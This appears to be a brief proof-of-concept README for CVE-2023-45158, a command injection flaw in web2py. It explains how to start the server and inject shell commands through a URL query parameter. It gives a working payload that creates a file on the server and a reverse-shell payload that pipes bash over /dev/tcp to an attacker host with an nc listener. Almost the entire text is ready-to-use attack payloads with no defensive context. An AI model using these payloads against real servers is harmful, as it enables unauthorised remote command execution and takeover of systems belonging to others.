CVE-2023-45158

Steps

1. Run the webserver

cd web2py
python3 web2py.py

2. Inject your command using the URL http://<IP-ADDRESS>:8000/hack?msg=%27%3B<YOUR-COMMAND>%3B%27. Replace <IP-ADDRESS> and <YOUR-COMMAND> with your values.

Examples

1. Create a file on the server

http://<IP-ADDRESS>:8000/hack?msg=%27%3Btouch%20hack%3B%27

2. Reverse shell

On the attacker's machine, run nc -l 127.0.0.1 8080

Go to URL http://<IP-ADDRESS>:8000/hack?msg=%27%3Bbash%20-i%20>%26/dev/tcp/<ATTACKER-IP>/8080%200>%26%201%3B%27. Replace <ATTACKER-IP>.